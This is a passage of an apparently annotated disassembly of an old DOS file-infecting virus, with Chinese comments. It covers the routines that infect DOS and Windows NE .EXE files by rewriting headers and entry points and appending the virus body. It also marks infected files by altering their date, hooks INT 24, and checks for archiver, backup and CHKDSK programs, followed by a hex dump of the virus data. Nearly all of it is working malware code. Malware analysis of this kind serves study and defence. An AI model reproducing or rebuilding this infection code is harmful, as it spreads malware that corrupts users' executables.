F6C8:09AA 72C8       JB    0974
F6C8:09AC B80045      MOV    AX,4500
F6C8:09AF 864504      XCHG   AL,[DI+04]
F6C8:09B2 A81C       TEST   AL,1C
F6C8:09B4 75BE       JNZ    0974
F6C8:09B6 50        PUSH   AX
F6C8:09B7 99        CWD
F6C8:09B8 E83F03      CALL   0CFA
F6C8:09BB 93        XCHG   AX,BX
F6C8:09BC C745020200   MOV    WORD PTR [DI+02],0002
F6C8:09C1 B84300      MOV    AX,0043
F6C8:09C4 324528      XOR    AL,[DI+28]
F6C8:09C7 BD4F4D      MOV    BP,4D4F
F6C8:09CA 336D29      XOR    BP,[DI+29]
F6C8:09CD 0BE8       OR    BP,AX
F6C8:09CF E8BB02      CALL   0C8D
F6C8:09D2 7223       JB    09F7
F6C8:09D4 8BF2       MOV    SI,DX
F6C8:09D6 BF870E      MOV    DI,0E87
F6C8:09D9 0E        PUSH   CS
F6C8:09DA 07        POP    ES
F6C8:09DB F3        REPZ
F6C8:09DC A4        MOVSB
F6C8:09DD E8CD02      CALL   0CAD
F6C8:09E0 91        XCHG   AX,CX
F6C8:09E1 8B05       MOV    AX,[DI]
F6C8:09E3 E8C601      CALL   0BAC
F6C8:09E6 7420       JZ    0A08
F6C8:09E8 0BD5       OR    DX,BP
F6C8:09EA 750B       JNZ    09F7
F6C8:09EC B0E9       MOV    AL,E9
F6C8:09EE AA        STOSB
F6C8:09EF 91        XCHG   AX,CX
F6C8:09F0 2D0300      SUB    AX,0003
F6C8:09F3 AB        STOSW
F6C8:09F4 E98D01      JMP    0B84
F6C8:09F7 E8DB02      CALL   0CD5
F6C8:09FA 58        POP    AX
F6C8:09FB 884504      MOV    [DI+04],AL
F6C8:09FE 804D0640    OR    BYTE PTR [DI+06],40
F6C8:0A02 B43E       MOV    AH,3E
F6C8:0A04 E8F302      CALL   0CFA
F6C8:0A07 C3        RET
;=======================================================================
;  感染 .EXE 文件代码部分
;=======================================================================
F6C8:0A08 52        PUSH   DX
F6C8:0A09 51        PUSH   CX
F6C8:0A0A E82102      CALL   0C2E    ;检测是否 WINDOWS 文件
F6C8:0A0D 58        POP    AX    ;是,转 0A14
F6C8:0A0E 5A        POP    DX
F6C8:0A0F 7303       JNB    0A14
F6C8:0A11 E9EB00      JMP    0AFF    ;DOS .EXE 转0AFF
;=======================================================================
;传染 WINDOWS .EXE 文件及新格式 .EXE 文件
F6C8:0A14 F6441580    TEST   BYTE PTR [SI+15],80
F6C8:0A18 75DD       JNZ    09F7    ;.DLL 不传染
F6C8:0A1A 8B4C3A      MOV    CX,[SI+3A]  ;取移位值
F6C8:0A1D D1EA       SHR    DX,1
F6C8:0A1F D1D8       RCR    AX,1
F6C8:0A21 72D4       JB    09F7    ;文件长不是移位的
F6C8:0A23 E2F8       LOOP   0A1D    ;整数倍不传染
F6C8:0A25 0BD2       OR    DX,DX
F6C8:0A27 75CE       JNZ    09F7    ;文件 > 65535*移位单位 不传染
F6C8:0A29 A3750E      MOV    [0E75],AX  ;文件大小 (新的 CS:IP 入口段)
F6C8:0A2C B108       MOV    CL,08
F6C8:0A2E 294D3C      SUB    [DI+3C],CX  ;新 NE 文件头位置前移 8 字节
F6C8:0A31 19553E      SBB    [DI+3E],DX
F6C8:0A34 AC        LODSB
F6C8:0A35 0AC0       OR    AL,AL    ;如果这 8 字节不为 0
F6C8:0A37 E1FB       LOOPE  0A34    ;则不传染
F6C8:0A39 75BC       JNZ    09F7
F6C8:0A3B 8B4422      MOV    AX,[SI+22]  ;段地址表偏移量
F6C8:0A3E B105       MOV    CL,05
F6C8:0A40 56        PUSH   SI    ;以下修改 NE 文件头下列部分
F6C8:0A41 BD0400      MOV    BP,0004    ; 0004  登记表偏移
F6C8:0A44 3E        DS:      ; 0024  资源表偏移
F6C8:0A45 3B02       CMP    AX,[BP+SI]  ; 0026  驻留表偏移
F6C8:0A47 7304       JNB    0A4D    ; 0028  模块引用表偏移
F6C8:0A49 3E        DS:      ; 002A  引用名表偏移
F6C8:0A4A 830208      ADD    WORD PTR [BP+SI],+08
F6C8:0A4D BD2200      MOV    BP,0022
F6C8:0A50 46        INC    SI
F6C8:0A51 46        INC    SI
F6C8:0A52 E2F0       LOOP   0A44
F6C8:0A54 5E        POP    SI
F6C8:0A55 BD6302      MOV    BP,0263
F6C8:0A58 8B441C      MOV    AX,[SI+1C]  ;段计数器 + 1
F6C8:0A5B 50        PUSH   AX
F6C8:0A5C 40        INC    AX
F6C8:0A5D 89441C      MOV    [SI+1C],AX  ;入口 CS:IP 改为
F6C8:0A60 876C14      XCHG   BP,[SI+14]  ;新段地址:0263
F6C8:0A63 874416      XCHG   AX,[SI+16]
F6C8:0A66 892E850E    MOV    [0E85],BP  ;保存原 CS:IP 于 0E83
F6C8:0A6A A3830E      MOV    [0E83],AX
F6C8:0A6D 58        POP    AX
F6C8:0A6E BD0800      MOV    BP,0008    ;段地址表长度
F6C8:0A71 F7E5       MUL    BP
F6C8:0A73 034422      ADD    AX,[SI+22]  ;加上段地址表偏移
F6C8:0A76 13D1       ADC    DX,CX    ;以下将整个 NE 文件头
F6C8:0A78 2D4000      SUB    AX,0040    ;以及段地址表前移 8 字节
F6C8:0A7B 1BD1       SBB    DX,CX    ;以便插入一个新的段地址表项
F6C8:0A7D BD0002      MOV    BP,0200
F6C8:0A80 F7F5       DIV    BP
F6C8:0A82 95        XCHG   AX,BP    ;先移动余数
F6C8:0A83 B43F       MOV    AH,3F
F6C8:0A85 8BCA       MOV    CX,DX
F6C8:0A87 BA4F0F      MOV    DX,0F4F
F6C8:0A8A E81202      CALL   0C9F
F6C8:0A8D 7246       JB    0AD5
F6C8:0A8F 51        PUSH   CX
F6C8:0A90 C4553C      LES    DX,[DI+3C]
F6C8:0A93 8CC1       MOV    CX,ES
F6C8:0A95 E81C02      CALL   0CB4
F6C8:0A98 59        POP    CX
F6C8:0A99 B440       MOV    AH,40
F6C8:0A9B 83C140      ADD    CX,+40
F6C8:0A9E BA0F0F      MOV    DX,0F0F
F6C8:0AA1 E8FB01      CALL   0C9F
F6C8:0AA4 722F       JB    0AD5
F6C8:0AA6 83ED01      SUB    BP,+01    ;再一次移动 200H 字节
F6C8:0AA9 722D       JB    0AD8
F6C8:0AAB 33C9       XOR    CX,CX
F6C8:0AAD BA0800      MOV    DX,0008
F6C8:0AB0 E80402      CALL   0CB7
F6C8:0AB3 B43F       MOV    AH,3F
F6C8:0AB5 B502       MOV    CH,02
F6C8:0AB7 BA4F0F      MOV    DX,0F4F
F6C8:0ABA E8E201      CALL   0C9F
F6C8:0ABD 7216       JB    0AD5
F6C8:0ABF B9FFFF      MOV    CX,FFFF
F6C8:0AC2 BAF8FD      MOV    DX,FDF8
F6C8:0AC5 E8EF01      CALL   0CB7
F6C8:0AC8 B440       MOV    AH,40
F6C8:0ACA B90002      MOV    CX,0200
F6C8:0ACD BA4F0F      MOV    DX,0F4F
F6C8:0AD0 E8CC01      CALL   0C9F
F6C8:0AD3 73D1       JNB    0AA6
F6C8:0AD5 E91FFF      JMP    09F7
F6C8:0AD8 B440       MOV    AH,40    ;写入新的段地址表项
F6C8:0ADA B90800      MOV    CX,0008    ;(病毒的段地址表项)
F6C8:0ADD BA750E      MOV    DX,0E75
F6C8:0AE0 E8BC01      CALL   0C9F
F6C8:0AE3 72F0       JB    0AD5
F6C8:0AE5 A32C03      MOV    [032C],AX  ;032E:032C = FFFF:0000
F6C8:0AE8 892E2E03    MOV    [032E],BP
F6C8:0AEC 40        INC    AX
F6C8:0AED A37D0E      MOV    [0E7D],AX  ;AX = 0001
F6C8:0AF0 C7067F0E0304  MOV    WORD PTR [0E7F],0403
F6C8:0AF6 C706810E2C03  MOV    WORD PTR [0E81],032C
F6C8:0AFC E98500      JMP    0B84
;===================================================================
;传染 DOS .EXE 文件
F6C8:0AFF E89F00      CALL   0BA1    ;文件长/200H
F6C8:0B02 2B4504      SUB    AX,[DI+04]
F6C8:0B05 75CE       JNZ    0AD5
F6C8:0B07 2B5502      SUB    DX,[DI+02]
F6C8:0B0A 75C9       JNZ    0AD5    ;有覆盖部分不传染
F6C8:0B0C 837D0CFF    CMP    WORD PTR [DI+0C],-01
F6C8:0B10 75C3       JNZ    0AD5    ;最大要求内存不为-1不传染
F6C8:0B12 3B451A      CMP    AX,[DI+1A]  ;覆盖号不为 0 (主程序) 不传染
F6C8:0B15 75BE       JNZ    0AD5
F6C8:0B17 E89301      CALL   0CAD    ;DOS 4202 功能
F6C8:0B1A BE1000      MOV    SI,0010    ;文件长 > 640K 不传染
F6C8:0B1D 3BD6       CMP    DX,SI
F6C8:0B1F 73B4       JNB    0AD5
F6C8:0B21 F7F6       DIV    SI
F6C8:0B23 2B4508      SUB    AX,[DI+08]  ;减去文件头大小
F6C8:0B26 50        PUSH   AX
F6C8:0B27 52        PUSH   DX
F6C8:0B28 875514      XCHG   DX,[DI+14]  ;设置新的 CS:IP
F6C8:0B2B 874516      XCHG   AX,[DI+16]  ;到文件尾 (病毒开始处)
F6C8:0B2E 52        PUSH   DX
F6C8:0B2F 034508      ADD    AX,[DI+08]
F6C8:0B32 F7EE       IMUL   SI
F6C8:0B34 5E        POP    SI
F6C8:0B35 2D0200      SUB    AX,0002
F6C8:0B38 1BD1       SBB    DX,CX
F6C8:0B3A 03C6       ADD    AX,SI    ;移动文件指针到
F6C8:0B3C 13CA       ADC    CX,DX    ;开始执行前 2 字节
F6C8:0B3E 92        XCHG   AX,DX
F6C8:0B3F E87201      CALL   0CB4    ;DOS 4200
F6C8:0B42 B43F       MOV    AH,3F    ;读出 2 字节
F6C8:0B44 B90200      MOV    CX,0002
F6C8:0B47 BA4F11      MOV    DX,114F
F6C8:0B4A E85201      CALL   0C9F
F6C8:0B4D 5A        POP    DX
F6C8:0B4E 58        POP    AX
F6C8:0B4F 724D       JB    0B9E
F6C8:0B51 813E4F115242  CMP    WORD PTR [114F],4252
F6C8:0B57 7445       JZ    0B9E    ;这 2 字节是 4252 不传染
F6C8:0B59 81C2C710    ADD    DX,10C7    ;?????
F6C8:0B5D 48        DEC    AX
F6C8:0B5E 7409       JZ    0B69
F6C8:0B60 83C210      ADD    DX,+10
F6C8:0B63 83FA80      CMP    DX,-80
F6C8:0B66 72F5       JB    0B5D
F6C8:0B68 48        DEC    AX
F6C8:0B69 40        INC    AX
F6C8:0B6A 80E2FE      AND    DL,FE
F6C8:0B6D 895510      MOV    [DI+10],DX
F6C8:0B70 89450E      MOV    [DI+0E],AX
F6C8:0B73 E83701      CALL   0CAD    ;DOS 4202 功能
F6C8:0B76 05C70E      ADD    AX,0EC7    ;新的文件长
F6C8:0B79 13D1       ADC    DX,CX
F6C8:0B7B E82300      CALL   0BA1
F6C8:0B7E 894504      MOV    [DI+04],AX  ;设置新的文件长
F6C8:0B81 895502      MOV    [DI+02],DX
F6C8:0B84 E80901      CALL   0C90    ;写文件头 40H 字节
F6C8:0B87 7215       JB    0B9E
F6C8:0B89 E82101      CALL   0CAD    ;DOS 4202 功能
F6C8:0B8C B440       MOV    AH,40
F6C8:0B8E B9C70E      MOV    CX,0EC7    ;写病毒 0EC7 字节
F6C8:0B91 99        CWD
F6C8:0B92 E80A01      CALL   0C9F
F6C8:0B95 7207       JB    0B9E
F6C8:0B97 E83B01      CALL   0CD5    ;取文件句柄表地址
F6C8:0B9A 804510C8    ADD    BYTE PTR [DI+10],C8  ;设置传染标记
F6C8:0B9E E956FE      JMP    09F7    ;文件日期加上 200 年
;======================================================================
F6C8:0BA1 B90002      MOV    CX,0200
F6C8:0BA4 F7F1       DIV    CX
F6C8:0BA6 0BD2       OR    DX,DX
F6C8:0BA8 7401       JZ    0BAB
F6C8:0BAA 40        INC    AX
F6C8:0BAB C3        RET
;======================================================================
F6C8:0BAC 40        INC    AX
F6C8:0BAD 3D4E5A      CMP    AX,5A4E
F6C8:0BB0 7403       JZ    0BB5
F6C8:0BB2 3D5B4D      CMP    AX,4D5B
F6C8:0BB5 C3        RET
;=======================================================================
;设置新的 INT 24 中断向量到 CS:0BEB
F6C8:0BB6 50        PUSH   AX
F6C8:0BB7 53        PUSH   BX
F6C8:0BB8 52        PUSH   DX
F6C8:0BB9 1E        PUSH   DS
F6C8:0BBA 06        PUSH   ES
F6C8:0BBB 0E        PUSH   CS
F6C8:0BBC 1F        POP    DS
F6C8:0BBD B82435      MOV    AX,3524
F6C8:0BC0 E83701      CALL   0CFA
F6C8:0BC3 891E7311    MOV    [1173],BX
F6C8:0BC7 8C067511    MOV    [1175],ES
F6C8:0BCB B425       MOV    AH,25
F6C8:0BCD BAEB0B      MOV    DX,0BEB
F6C8:0BD0 E82701      CALL   0CFA
F6C8:0BD3 07        POP    ES
F6C8:0BD4 1F        POP    DS
F6C8:0BD5 5A        POP    DX
F6C8:0BD6 5B        POP    BX
F6C8:0BD7 58        POP    AX
F6C8:0BD8 C3        RET
;==========================================================================
;恢复原 INT 24 中断向量
F6C8:0BD9 50        PUSH   AX
F6C8:0BDA 52        PUSH   DX
F6C8:0BDB 1E        PUSH   DS
F6C8:0BDC B82425      MOV    AX,2524
F6C8:0BDF 2E        CS:
F6C8:0BE0 C5167311    LDS    DX,[1173]
F6C8:0BE4 E81301      CALL   0CFA
F6C8:0BE7 1F        POP    DS
F6C8:0BE8 5A        POP    DX
F6C8:0BE9 58        POP    AX
F6C8:0BEA C3        RET
;==========================================================================
;新的 INT 24 中断程序, 出错时返回失败 (Fail)
F6C8:0BEB B003       MOV    AL,03
F6C8:0BED CF        IRET
;==========================================================================
F6C8:0BEE 832E030F08   SUB    WORD PTR [0F03],+08
F6C8:0BF3 831E050F00   SBB    WORD PTR [0F05],+00
F6C8:0BF8 E83300      CALL   0C2E
F6C8:0BFB 7230       JB    0C2D
F6C8:0BFD B108       MOV    CL,08
F6C8:0BFF 882C       MOV    [SI],CH
F6C8:0C01 46        INC    SI
F6C8:0C02 E2FB       LOOP   0BFF
F6C8:0C04 FF4C1C      DEC    WORD PTR [SI+1C]
F6C8:0C07 A1C50E      MOV    AX,[0EC5]
F6C8:0C0A 894414      MOV    [SI+14],AX
F6C8:0C0D A1C30E      MOV    AX,[0EC3]
F6C8:0C10 894416      MOV    [SI+16],AX
F6C8:0C13 8B4422      MOV    AX,[SI+22]
F6C8:0C16 B105       MOV    CL,05
F6C8:0C18 56        PUSH   SI
F6C8:0C19 BD0400      MOV    BP,0004
F6C8:0C1C 3E        DS:
F6C8:0C1D 3B02       CMP    AX,[BP+SI]
F6C8:0C1F 7304       JNB    0C25
F6C8:0C21 3E        DS:
F6C8:0C22 832A08      SUB    WORD PTR [BP+SI],+08
F6C8:0C25 BD2200      MOV    BP,0022
F6C8:0C28 46        INC    SI
F6C8:0C29 46        INC    SI
F6C8:0C2A E2F0       LOOP   0C1C
F6C8:0C2C 5E        POP    SI
F6C8:0C2D C3        RET
;=======================================================================
;检测是否 WINDOWS 可执行程序或新格式可执行程序
F6C8:0C2E 833EDF0E40   CMP    WORD PTR [0EDF],+40
F6C8:0C33 7225       JB    0C5A    ;重定位表地址 < 40
F6C8:0C35 C416030F    LES    DX,[0F03]  ;不是 WINDOWS 文件
F6C8:0C39 8CC1       MOV    CX,ES
F6C8:0C3B 83EA08      SUB    DX,+08    ;移动到 NE 文件头 - 8 处
F6C8:0C3E 83D900      SBB    CX,+00    ;
F6C8:0C41 E87000      CALL   0CB4    ;DOS 4200功能
F6C8:0C44 B43F       MOV    AH,3F
F6C8:0C46 B94800      MOV    CX,0048    ;读出 48H 字节
F6C8:0C49 BA070F      MOV    DX,0F07    ;NE 文件头在 0F0F 处
F6C8:0C4C 8BF2       MOV    SI,DX
F6C8:0C4E E84E00      CALL   0C9F
F6C8:0C51 7207       JB    0C5A
F6C8:0C53 817C084E45   CMP    WORD PTR [SI+08],454E
F6C8:0C58 7401       JZ    0C5B    ;不是 "NE" 设置 CY
F6C8:0C5A F9        STC
F6C8:0C5B C3        RET
;==========================================================================
F6C8:0C5C 53        PUSH   BX
F6C8:0C5D 51        PUSH   CX
F6C8:0C5E 52        PUSH   DX
F6C8:0C5F 56        PUSH   SI
F6C8:0C60 57        PUSH   DI
F6C8:0C61 55        PUSH   BP
F6C8:0C62 1E        PUSH   DS
F6C8:0C63 06        PUSH   ES
F6C8:0C64 B98B28      MOV    CX,288B
F6C8:0C67 BA75D5      MOV    DX,D575
F6C8:0C6A B80010      MOV    AX,1000
F6C8:0C6D 8ED8       MOV    DS,AX
F6C8:0C6F B43F       MOV    AH,3F
F6C8:0C71 E81701      CALL   0D8B
F6C8:0C74 720E       JB    0C84
F6C8:0C76 0E        PUSH   CS
F6C8:0C77 1F        POP    DS
F6C8:0C78 01066F07    ADD    [076F],AX
F6C8:0C7C 0106680C    ADD    [0C68],AX
F6C8:0C80 2906650C    SUB    [0C65],AX
F6C8:0C84 07        POP    ES
F6C8:0C85 1F        POP    DS
F6C8:0C86 5D        POP    BP
F6C8:0C87 5F        POP    DI
F6C8:0C88 5E        POP    SI
F6C8:0C89 5A        POP    DX
F6C8:0C8A 59        POP    CX
F6C8:0C8B 5B        POP    BX
F6C8:0C8C C3        RET
;=========================================================================
F6C8:0C8D B43F       MOV    AH,3F
F6C8:0C8F 3DB440      CMP    AX,40B4
F6C8:0C92 50        PUSH   AX
F6C8:0C93 E81100      CALL   0CA7
F6C8:0C96 58        POP    AX
F6C8:0C97 B94000      MOV    CX,0040
F6C8:0C9A BAC70E      MOV    DX,0EC7
F6C8:0C9D 0E        PUSH   CS
F6C8:0C9E 1F        POP    DS
F6C8:0C9F E85800      CALL   0CFA
F6C8:0CA2 7202       JB    0CA6
F6C8:0CA4 2BC1       SUB    AX,CX
F6C8:0CA6 C3        RET
;=========================================================================
F6C8:0CA7 B000       MOV    AL,00
F6C8:0CA9 3DB001      CMP    AX,01B0
F6C8:0CAC 3DB002      CMP    AX,02B0
F6C8:0CAF 33C9       XOR    CX,CX
F6C8:0CB1 33D2       XOR    DX,DX
F6C8:0CB3 3DB000      CMP    AX,00B0
F6C8:0CB6 3DB001      CMP    AX,01B0
F6C8:0CB9 3DB002      CMP    AX,02B0
F6C8:0CBC B442       MOV    AH,42
F6C8:0CBE EB3A       JMP    0CFA
F6C8:0CC0 B9FFFF      MOV    CX,FFFF
F6C8:0CC3 BABCFF      MOV    DX,FFBC
F6C8:0CC6 E8F1FF      CALL   0CBA
F6C8:0CC9 B43F       MOV    AH,3F
F6C8:0CCB B94400      MOV    CX,0044
F6C8:0CCE BAC30E      MOV    DX,0EC3
F6C8:0CD1 0E        PUSH   CS
F6C8:0CD2 1F        POP    DS
F6C8:0CD3 EBCA       JMP    0C9F
F6C8:0CD5 50        PUSH   AX
F6C8:0CD6 53        PUSH   BX
F6C8:0CD7 B82012      MOV    AX,1220
F6C8:0CDA E8E300      CALL   0DC0
F6C8:0CDD 33DB       XOR    BX,BX
F6C8:0CDF 26        ES:
F6C8:0CE0 8A1D       MOV    BL,[DI]
F6C8:0CE2 B81612      MOV    AX,1216
F6C8:0CE5 E8D800      CALL   0DC0
F6C8:0CE8 720D       JB    0CF7
F6C8:0CEA 06        PUSH   ES
F6C8:0CEB 1F        POP    DS
F6C8:0CEC F6450580    TEST   BYTE PTR [DI+05],80
F6C8:0CF0 F5        CMC
F6C8:0CF1 7504       JNZ    0CF7
F6C8:0CF3 F64510C0    TEST   BYTE PTR [DI+10],C0
F6C8:0CF7 5B        POP    BX
F6C8:0CF8 58        POP    AX
F6C8:0CF9 C3        RET
;=========================================================================
F6C8:0CFA E84D00      CALL   0D4A
F6C8:0CFD E88B00      CALL   0D8B
F6C8:0D00 E85E00      CALL   0D61
F6C8:0D03 2E        CS:
F6C8:0D04 FF366911    PUSH   WORD PTR [1169]
F6C8:0D08 2E        CS:
F6C8:0D09 FF366D11    PUSH   WORD PTR [116D]
F6C8:0D0D 2E        CS:
F6C8:0D0E FF366F11    PUSH   WORD PTR [116F]
F6C8:0D12 2E        CS:
F6C8:0D13 8C1E6D11    MOV    [116D],DS
F6C8:0D17 0E        PUSH   CS
F6C8:0D18 1F        POP    DS
F6C8:0D19 893E6911    MOV    [1169],DI
F6C8:0D1D 8C066F11    MOV    [116F],ES
F6C8:0D21 BF5F11      MOV    DI,115F
F6C8:0D24 0E        PUSH   CS
F6C8:0D25 07        POP    ES
F6C8:0D26 FF35       PUSH   WORD PTR [DI]
F6C8:0D28 9C        PUSHF
F6C8:0D29 AB        STOSW
F6C8:0D2A 8B05       MOV    AX,[DI]
F6C8:0D2C 93        XCHG   AX,BX
F6C8:0D2D AB        STOSW
F6C8:0D2E 8B05       MOV    AX,[DI]
F6C8:0D30 91        XCHG   AX,CX
F6C8:0D31 AB        STOSW
F6C8:0D32 8B05       MOV    AX,[DI]
F6C8:0D34 92        XCHG   AX,DX
F6C8:0D35 AB        STOSW
F6C8:0D36 8B05       MOV    AX,[DI]
F6C8:0D38 96        XCHG   AX,SI
F6C8:0D39 AB        STOSW
F6C8:0D3A AF        SCASW
F6C8:0D3B 8B05       MOV    AX,[DI]
F6C8:0D3D 95        XCHG   AX,BP
F6C8:0D3E AB        STOSW
F6C8:0D3F 58        POP    AX
F6C8:0D40 874504      XCHG   AX,[DI+04]
F6C8:0D43 50        PUSH   AX
F6C8:0D44 9D        POPF
F6C8:0D45 58        POP    AX
F6C8:0D46 07        POP    ES
F6C8:0D47 1F        POP    DS
F6C8:0D48 5F        POP    DI
F6C8:0D49 C3        RET
;==========================================================================
F6C8:0D4A 9C        PUSHF
F6C8:0D4B 50        PUSH   AX
F6C8:0D4C 53        PUSH   BX
F6C8:0D4D 51        PUSH   CX
F6C8:0D4E 52        PUSH   DX
F6C8:0D4F 56        PUSH   SI
F6C8:0D50 57        PUSH   DI
F6C8:0D51 55        PUSH   BP
F6C8:0D52 1E        PUSH   DS
F6C8:0D53 06        PUSH   ES
F6C8:0D54 E8ACFF      CALL   0D03
F6C8:0D57 07        POP    ES
F6C8:0D58 1F        POP    DS
F6C8:0D59 5D        POP    BP
F6C8:0D5A 5F        POP    DI
F6C8:0D5B 5E        POP    SI
F6C8:0D5C 5A        POP    DX
F6C8:0D5D 59        POP    CX
F6C8:0D5E 5B        POP    BX
F6C8:0D5F 58        POP    AX
F6C8:0D60 9D        POPF
F6C8:0D61 50        PUSH   AX
F6C8:0D62 53        PUSH   BX
F6C8:0D63 51        PUSH   CX
F6C8:0D64 56        PUSH   SI
F6C8:0D65 1E        PUSH   DS
F6C8:0D66 B81812      MOV    AX,1218
F6C8:0D69 E85400      CALL   0DC0
F6C8:0D6C BF5F11      MOV    DI,115F
F6C8:0D6F B90900      MOV    CX,0009
F6C8:0D72 AD        LODSW
F6C8:0D73 2E        CS:
F6C8:0D74 8705       XCHG   AX,[DI]
F6C8:0D76 AF        SCASW
F6C8:0D77 8944FE      MOV    [SI-02],AX
F6C8:0D7A E2F6       LOOP   0D72
F6C8:0D7C 8B4404      MOV    AX,[SI+04]
F6C8:0D7F 2E        CS:
F6C8:0D80 8705       XCHG   AX,[DI]
F6C8:0D82 894404      MOV    [SI+04],AX
F6C8:0D85 1F        POP    DS
F6C8:0D86 5E        POP    SI
F6C8:0D87 59        POP    CX
F6C8:0D88 5B        POP    BX
F6C8:0D89 58        POP    AX
F6C8:0D8A C3        RET
;==================================================================
;病毒自己执行 INT 21 功能
F6C8:0D8B 50        PUSH   AX
F6C8:0D8C 53        PUSH   BX
F6C8:0D8D 1E        PUSH   DS
F6C8:0D8E 2E        CS:
F6C8:0D8F C51E5711    LDS    BX,[1157]
F6C8:0D93 8AC4       MOV    AL,AH
F6C8:0D95 98        CBW
F6C8:0D96 D1E0       SHL    AX,1
F6C8:0D98 2E        CS:
F6C8:0D99 03065111    ADD    AX,[1151]
F6C8:0D9D 93        XCHG   AX,BX
F6C8:0D9E 8B07       MOV    AX,[BX]
F6C8:0DA0 2E        CS:
F6C8:0DA1 A35511      MOV    [1155],AX
F6C8:0DA4 2E        CS:
F6C8:0DA5 832E571105   SUB    WORD PTR [1157],+05
F6C8:0DAA 1F        POP    DS
F6C8:0DAB 5B        POP    BX
F6C8:0DAC 58        POP    AX
F6C8:0DAD 685344      PUSH   4453
F6C8:0DB0 2E        CS:
F6C8:0DB1 FF365711    PUSH   WORD PTR [1157]
F6C8:0DB5 2E        CS:
F6C8:0DB6 FF365911    PUSH   WORD PTR [1159]
F6C8:0DBA 2E        CS:
F6C8:0DBB FF365511    PUSH   WORD PTR [1155]
F6C8:0DBF CB        RETF
F6C8:0DC0 3C12       CMP    AL,12
F6C8:0DC2 9C        PUSHF
F6C8:0DC3 FA        CLI
F6C8:0DC4 0E        PUSH   CS
F6C8:0DC5 E80100      CALL   0DC9
F6C8:0DC8 C3        RET
F6C8:0DC9 2E        CS:
F6C8:0DCA FF365911    PUSH   WORD PTR [1159]
F6C8:0DCE 2E        CS:
F6C8:0DCF FF365D11    PUSH   WORD PTR [115D]
F6C8:0DD3 CB        RETF
F6C8:0DD4 CD2F       INT    2F    (Multiplex)
F6C8:0DD6 C3        RET
;=====================================================================
;比较当前执行文件名是否为 PKZIP,ARJ,RAR,LHA,TELIX,BACKUP,MSBACKUP
F6C8:0DD7 56        PUSH   SI
F6C8:0DD8 BE1C0E      MOV    SI,0E1C
F6C8:0DDB E80B00      CALL   0DE9
F6C8:0DDE 5E        POP    SI
F6C8:0DDF C3        RET
;=====================================================================
;比较当前执行文件名是否为 CHKDSK
F6C8:0DE0 56        PUSH   SI
F6C8:0DE1 BE450E      MOV    SI,0E45
F6C8:0DE4 E80200      CALL   0DE9
F6C8:0DE7 5E        POP    SI
F6C8:0DE8 C3        RET
;=======================================================================
;比较当前执行文件名
;是否为 PKZIP,ARJ,RAR,LHA,TELIX,BACKUP,MSBACKUP
;是, 返回 ZR
F6C8:0DE9 60        PUSHA
F6C8:0DEA 1E        PUSH   DS
F6C8:0DEB 06        PUSH   ES
F6C8:0DEC 0E        PUSH   CS
F6C8:0DED 1F        POP    DS
F6C8:0DEE B451       MOV    AH,51    ;得到当前进程 PSP
F6C8:0DF0 CD21       INT    21
F6C8:0DF2 4B        DEC    BX
F6C8:0DF3 8EC3       MOV    ES,BX
F6C8:0DF5 33DB       XOR    BX,BX
F6C8:0DF7 26        ES:
F6C8:0DF8 817F084C4C   CMP    WORD PTR [BX+08],4C4C
F6C8:0DFD 7506       JNZ    0E05    ;"LL"
F6C8:0DFF 26        ES:
F6C8:0E00 385F0B      CMP    [BX+0B],BL
F6C8:0E03 7413       JZ    0E18
F6C8:0E05 AC        LODSB
F6C8:0E06 3C01       CMP    AL,01    ;比较字符数
F6C8:0E08 720E       JB    0E18
F6C8:0E0A 98        CBW
F6C8:0E0B 8BC8       MOV    CX,AX
F6C8:0E0D 03C6       ADD    AX,SI
F6C8:0E0F 50        PUSH   AX
F6C8:0E10 BF0800      MOV    DI,0008
F6C8:0E13 F3        REPZ
F6C8:0E14 A6        CMPSB
F6C8:0E15 5E        POP    SI
F6C8:0E16 75ED       JNZ    0E05
F6C8:0E18 07        POP    ES
F6C8:0E19 1F        POP    DS
F6C8:0E1A 61        POPA
F6C8:0E1B C3        RET

F6C8:0E10  BF 08 00 F3 A6 5E 75 ED-07 1F 61 C3 05 50 4B 5A  .....^u...a..PKZ
F6C8:0E20  49 50 03 41 52 4A 03 52-41 52 03 4C 48 41 05 54  IP.ARJ.RAR.LHA.T
F6C8:0E30  45 4C 49 58 06 42 41 43-4B 55 50 08 4D 53 42 41  ELIX.BACKUP.MSBA
F6C8:0E40  43 4B 55 50 00 06 43 48-4B 44 53 4B 00 50 00 01  CKUP..CHKDSK.P..
F6C8:0E50  02 50 00 02 02 50 00 03-02 50 00 04 02 50 00 05  .P...P...P...P..
F6C8:0E60  02 50 00 06 02 50 00 07-02 50 00 08 02 50 00 09  .P...P...P...P..
F6C8:0E70  02 50 00 0A 02 13 1C 7D-0E 80 01 7D 0E 01 00 03  .P.....}...}....
F6C8:0E80  04 2C 03 01 00 99 02 46-36 43 38 3A 30 30 30 30  .,.....F6C8:0000
F6C8:0E90  20 30 45 20 20 20 20 20-20 20 20 20 20 20 20 50   0E        P
F6C8:0EA0  55 53 48 20 20 20 20 43-53 0D 0A 46 36 43 38 3A  USH   CS..F6C8:
F6C8:0EB0  30 30 30 31 20 31 46 20-20 20 20 20 20 20 20 20  0001 1F
F6C8:0EC0  20 20 20 01 00 99 02 E9-6D 15 66 88 15 00 00 C7    .....m.f.....
F6C8:0ED0  0F 00 00 85 0E 00 00 95-12 00 00 00 00 00 00 00  ................
F6C8:0EE0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
F6C8:0EF0  00 00 00 00 00 00 00 00-00 00 00 00 E8 64 00 1E  .............d..
F6C8:0F00  0E 2E FF 26 04 01 FB 00-00 00 00 00 00 00 00 00  ...&............
F6C8:0F10  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
F6C8:0F20  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
F6C8:0F30  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
F6C8:0F40  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
F6C8:0F50  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
F6C8:0F60  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
F6C8:0F70  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
F6C8:0F80  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
F6C8:0F90  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
F6C8:0FA0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
F6C8:0FB0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
